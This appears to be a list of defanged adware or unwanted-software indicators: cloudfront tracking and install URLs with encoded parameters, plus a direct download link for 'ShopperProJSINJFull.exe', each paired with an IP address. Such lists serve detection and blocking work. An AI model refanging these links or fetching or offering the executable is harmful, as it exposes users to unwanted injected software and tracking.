hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3rrO8vgt3P/iIImX2R0lDpJK mciuyhYcJKjDaWYJX4fXFKX0xVfRz452ZI8yJZT8RKVPvduoSB0BaMDrns9A1tjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3hBbJg8F3GAAXonzCxckjkxAYdGcPvoXoxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3OiJI4oW9ZGQJQ qRImiBrA2L3SUlT1mit19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUwxQey4cK7isqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp58etVEXCl7 N	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&ver=2.2.7764.475&rnd=29173&tss=8&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg7 /v7 /v7 /v7 /v7 /v7 /v729vb9/f399/f39/j4 Pj4 Pv7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /sZ/T8bGxsbGxsbt7e3t7e3twgICAhHR0c4ODg4ODg43d3d3d3d29vb29v6 vr6GhoaGhoaGiYmJiYmJiYmBARAQEBAQEAoKCgoKCgoKNzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /v39/f39/f39/f29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f39/fj4 Pj4 Pj4EhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhIS Pj4 P39/f39/f7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODv7 /v7 /v7 /v7 /v7 9vb29vb29v39/f339/f4 Pv4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xpaPxsbGxsbG7e3t7e3t7e3CAgIR0dHODg4ODg4ON3d3d3d3dvb29v6 vr6 hoaGhoaGiYmJiYmJiYmBAQEQEBAQEBAQCgoKCgoKNzc3Nzc3Nw0NDQ0NDQ0NPv7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /f39/f34 Pj4 Pj4 BISEhISEhL8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhL4 Pg=&usid=2858020935-2156992550-3658131804&sid=0&pixGuid=25383020-30f5-408f-b983-88ab51edfcbf	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAEKNSXkoE/uV5jdI9NRwlB9s IILilpWF0zwh6 kBmZAgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS3Iv8FQcjbNKTkXqnPQqJy67uq3lLNKHe03foinghiAeK/loHtJonJ80JqwRadIw1A==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAEFi9dNonro9RQC drCF7eF/cZ0ZhX4k 1qLi0hJkaRk4yZ3sPsIQc2DBRdrcRJmx9SXN86XzQKNLUMM3uVG6umjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=2fVCHF6kf8gQ0V45w4Sc0SyMiXp71dskN1IH8VCNL9hAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTfIXMF1Q9BlidZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu/pDW71a9FohpKb81Sa5kgtqq35bppXPWLZahQr/K1K0cBk3VdRCGn9gKkdlz1lRoce/5WtWjmcuFAL52sIXt4VzrzFC04 gV5JkcnGF9 uBp fGZ3XE97vz/JnXac5wHeUBc/7joLqq94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=KC46TpkJIZzYLhsRuGeUacxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb Aiy4ZvM W8i8tSqMeNHAfSzsEPg2wrTtaLmz4gguKWlYXarCxFpgIgxIo2l87Wlt0nJEYL71eUDU8x/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7UBCzgBzVDw8IxMsl7o8zKx2fgybcx3qaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLci/wVByNs0pOReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micnzQmrBFp0jDU	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=KC46TpkJIZzYLhsRuGeUacxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb Aiy4ZvM W8i8teG0picB3eoeudGrX9r3ODqz4gguKWlYXdsGxiYMuC8TKuJL2x o5erVet 40raSRZqUKOZJxNkSMyL2hojsUo7T9Mi8q zpXDfbEX1Gtkn K5TGjnxLKeg7/kJBOcX7k Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCNaC2D7gVLsXbVx0ChS3xYkKYX3Ti/i3YM8Lp0Bjzny5tnvt9BCIgQgmIUiuKCNOa29/FxaIQ7ErOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCPKl6yrhyfrOiGQmEP2wPcgs IILilpWF0zwh6 kBmZAgDvV8aygxQc4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCPaaY YTEt5Uib53oUw944LBPEhRyyBD7BDVXyMPX/0Ka1gY/yVvFd/xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.47.221
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=s5Ydxb c7o0DbDSBvTK 4DEOJYAmH59VBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaKig fkRtZL20T9ViFofsGUl0xzv/1Q1n14WGxPVpt5CrKRl6uWYlY4G r 3F6T7eadsxH93vcJRrmf6/ Q2OmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko=	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=s5Ydxb c7o0DbDSBvTK 4DEOJYAmH59VBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaKig fkRtZL20T9ViFofsGUl0xzv/1Q1DyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/akYFgXQio35rNOwiukyJDyINwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHxrxafBhAOP4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ==	54.230.45.197
hxxp://dsba220j59f4d.cloudfront.net/t.ashx?e=emKxDesqhYcsjIl6e9XbJBTj4CSqdeJAQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H1JnJRrT7DNZ3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==	54.192.47.104
hxxp://d2ly1rbvrtv0k6.cloudfront.net/install.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzTIC6m7D1h2dONlz6m1J48 YDNGIdsjn2dx96BOH62W9 5YFxpw5pFdqSm/NUmuZILaKig fkRtZJMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKvLMI0xCo70b7AhMjcBExiTYnH606waHUIFsK7/Ya3qp3H4CQmKwMH44rC2eJND40IoHRlRPK3NNtfZqlmnz2i0XETLNre1tSJQ2272w1pmDNwo5V3AagbluZgxLaXONawFsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv60q83s/Gs1MKCxJOD3FedQpZtQsCFxk6PZLxm6qwFwDRpN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMkjcUlPYfcdWxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe c91abE2NWPTbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.192.46.149
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoauGBKhpkBj 1FnN G3tSlj0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z3pcUVvrv2pyviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WW/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDBim8PIUDd0M	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoRNUM0FVgKbyAltiGSLIu3jsPyl1vPIWdGHpnCw1y/LW9C2WJOxGWn/3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyzR9/WfyUA0lCzer71seELEwJZh5R5miz6iMnDtfyAskfZN5ctO46AC	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoYZ7OgPWq2R5uHNcraZZx7PEssJBdfAZfMIB 2VkRFHHeFi2wm40ilUM55afbHqxZlkPvXZTGehCLN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgOM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRocgRgxetMCtyAhwsRGINrujy0 L7mTrvUD/BJ6yGvTMAjtdLvF54MjqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.230.45.197
hxxp://e0o7fa-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoX4r3S9aDbaOBPEhRyyBD7D0lOwqSwnORz0Z05yANjzcUdHLbi5Fo13kPWZgf7JA3sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfQhLftAFivpY1mK/vypYWxqboyl6DWa 8c0w/ydqjcW7H9gaJpGIjE4=	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoZmQz1jSMZVP0JQd5HxgIXfQyypuUJjWsIJQffTeIm3i94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoW16pnq3EtsLKYX3Ti/i3YOt/nuXGC1lQ7xKtVwphCE/yhsDDHNIJ6TYBMbHlkM59pcijYgxr FfqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRobDlUjOI3FcBs IILilpWF1x1QZiJL1PeFa8toKlq5Vz4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdry832UNbAoK/njVi4sZ3RnB2tZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YNYlTZYFVSl7P5bll8sXmM64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=WL9usJOVMsOEyHZoFFyrCMxndPpeZYzTZZBhpU6L/HaMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCF3ZW0PGtWBl1gKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldg/rY7TKOFg0m94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=AZwPyJy3TZhPNjxRBLtb41vjkqwJKtrI/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nj0N7bp/0QtSMiSqh15lmagBZGQjpShx/0JQd5HxgIXdMIzvZcoSLLyoK23Ar2s FqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ==	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=WVbe3wHlwMHMZ3T6XmWM02WQYaVOi/x2jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqrWb9MsNDYghd2VtDxrVgZdYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFGydUMzSPr4NgHSKOy1EnF Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw=	54.230.45.197
